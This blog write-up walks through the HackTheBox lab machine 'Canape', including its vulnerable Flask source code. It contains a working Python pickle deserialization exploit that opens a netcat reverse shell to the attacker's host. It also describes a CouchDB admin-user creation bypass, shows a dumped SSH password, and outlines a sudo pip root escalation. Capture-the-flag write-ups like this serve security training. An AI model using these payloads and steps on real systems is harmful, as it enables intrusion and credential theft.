Canape hackthebox Writeup

Canape hackthebox Writeup

Hey pentesters! In this post blog post, I am gonna walk you through canape that is a medium linux machine from hackthebox.

Summary

The initial foothold on the box is based on python pickle injection that leads to remote code execution. Privilege escalation to user exploits a vulnerability in couchdb that can be leveraged to create a dummy user with _admin role. Lastly, privilege escalation to root exploits the sudo privileges on /usr/bin/pip

It was a fun box to pwn. So without any further ado, lets get started! 

Starting with nmap scan, I found http open. Interestingly the presence of .git was reflected as part f the scan.

 ⚡ root@kali  ~/Desktop/htb/canape   master  nmap -sC -sV 10.10.10.70 -o canape.nmap            
Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-24 00:04 IST
Nmap scan report for 10.10.10.70
Host is up (0.26s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.49 seconds

 So i quickly went through the url, http://10.10.10.70.

The title was simpson’s fan site. Clicking through buttons, I found a few more pages that didnt lead to interesting results.

Alongside manual enumeration, I spawned up a gobuster scan but that too didnt returned anything interesting! But there was .git present, as obtained from nmap scans. So i looked upon HTTP://10.10.10.70/.git and found the default directory structure. 

/config was a good starting point. Following were its contents:

There was an url to a git repo. Analysing a git repo is essential as it can lead to exposure of sensitive information.

Following is the screenshot of the logs.

Under the page source of http://10.10.10.70, I found this comment. It listed an endpoint /check

But, http://10.10.10.70/check didnt seemed to work. Below is the request-response captured on the burp.

/check request

Next, I cloned the git repo using

# git clone http://git.canape.htb/simpsons.git

But before that, make an entry to /etc/hosts specifying git.canape.htb as one of the virtual hosts.

While analysing the logs, I found the one below that mentioned about the check functionality that didnt seemed to work earlier.

So I performed a git diff over that commit.

# git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0

Looking at the code and its different endpoints like check, submit, one interesting thing to note was that it was using pickle module of python for serialization-deserialization.
And according to the official documentation of the module, any untrusted data by the user if deserialized can lead to remote code execution.

For more information on insecure deserialization, visit here.

import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

 So this code basically depicts the functionality of all the buttons that were present on http://10.10.10.70.

According to the code, the untrusted data gets submitted by the user using the submit functionality on http://10.10.10.70/submit where the user can submit the quotes. But there is a condition. There are a few whitelisted names like homer, marge, bart. Only these can be the value of the field: character. Well, the character name won’t create any problem for us. 

The data that was submitted in /submit is checked inside http://10.10.10.70/check . cPickle.loads() method is used that is used to deserialize the data that was kept in the file. From the method declaration, Its clear that /check uses POST as request method along with some post parameter that are required to sent along with the request. Here its “id”.

Exploit

  1. We will submit serialized data in /submit. The data is basically our reverse shell.
  2. After submission we get an id
  3. That id has to be posted inside the id parameter of /check.
  4. /check deserializes the malicious quote that we sent and gives us command execution.

For this, a python script can be made that will automate the whole process.

import pickle as pk
from hashlib import md5
import requests
import os

class MyExploit(object):
	def __reduce__(self):
  	cmd = 'echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 8001 >/tmp/f'
  	return (os.system, (cmd,))

sc = pk.dumps(MyExploit())
print sc
char, quote = sc.split("!")
p_id = md5(char+ quote).hexdigest()

requests.post("http://10.10.10.70/submit", data={'character':char, 'quote':quote})
requests.post("http://10.10.10.70/check", data={'id':p_id})

So as the python pickle exploit runs, we get a shell on the port on which we were listening with netcat.

Getting user on the box

I started enumeration with LinEnum.sh. Under the heading listening TCP, there was a port, 5984 listening on localhost. 

Tip: Always check for the default services that runs on the port specified. These are the services running on the internal network that can be used for further privilege escalation.

I checked over on internet and the service running was couchdb. It was predictable as couchdb module was imported in __init__.py in the git repo.

ports listening on tcp
ports listening on tcp

We can communicate with couchdb server with curl command.

# curl http://127.0.0.1:5984/

To find all the databases use,

# curl -X  GET http://127.0.0.1/_all_dbs
querying coudb
querying coudb
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/_users   
curl -X GET http://127.0.0.1:5984/_users
{"db_name":"_users","update_seq":"9-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6RnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW5N4sAN1Nbzc","sizes":{"file":70895,"external":2085,"active":4111},"purge_seq":0,"other":{"data_size":2085},"doc_del_count":1,"doc_count":1,"disk_size":70895,"disk_format_version":6,"data_size":4111,"compact_running":false,"instance_start_time":"0"}

I checked all the databases, but found nthing interesting. But when i tried to accessed the contents of passwords database, I got this error.

That was because I didnt had any username or password.

I performed a searchsploit on couchdb and got a lot of results.

couchdb rce < 2.1.0
couchdb rce < 2.1.0

The last one with remote code execution seemed promising so I copied the exploit from local machine to the victim using curl.

Vulnerability 

The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB (no-sql database), called jiffy. Check out how each one deals with duplicate keys on an object like {“foo”:”bat”, “foo”:”bas”}:

Erlang (couchdb is written in this language):
> jiffy:decode(“{\”foo\”:\”bat\”, \”foo\”:\”bas\”}”).
{[{<<"foo">>,<<"bat">>},{<<"foo">>,<<"bas">>}]}

Javascript:
> JSON.parse(“{\”foo\”:\”bat\”, \”foo\”: \”bas\”}”)
{foo: “bas”}

The json parser will only store the last value, but the  getter function for CouchDB’s internal representation of the data will only return the first value.

That can be bypassed and a new user can be created with _admin role who will have full control over the database.For more details visit here

Upon execution, it printed that user guest with password guest has been created with _admin role. So now we can view the contents of passwords database.

www-data@canape:/tmp$  curl -X GET http://guest:guest@127.0.0.1/passwords/_all_docs
 curl -X GET http://guest:guest@127.0.0.1/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

Now we will query the server with the id parameter

www-data@canape:/tmp$ curl -X GET http://guest:guest@127.0.0.1/passwords/739c5ebdf3f7a001bebb8fc4380019e4

{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}

The user is null here. But we can try the password for the user- homer that exists on the box.

homer successfully logged in
homer successfully logged in

And it worked!!! User Pwned.

getting user.txt for homer
getting user.txt for homer

Upon enumeration with LinEnum.sh, I found that sudo was present on the box. So the very first thing to test is if there are any sudo privileges on the box?

Check with

# sudo -l
pip can run with sudo
pip can run with sudo

Homer can run /usr/bin/pip install with root privileges. I searched for privilege escalation with pip and found a link to https://gtfobins.github.io/gtfobins/pip/

Steps in exploitation

  1. A temporary directory is created with mktemp -d and is stored in variable TF
  2. Now we insert our shell code(that will be running as root) in a file inside the temporary directory with name setup.py
  3. When we pip install that directory with, the python payload gets executed as root and we get a shell.

Thats all for the blog post. Hope you enjoyed reading it. For much content on infosec subscribe to my page.
Until then, happy hunting!!

shreyapohekar

I am Shreya Pohekar. I love to build and break stuff. Currently, I'm working as iOS and angular developer. I am also a contributor to CodeVigilant project. My blogs are focused on Infosec and Dev and its how to's.

Leave a Reply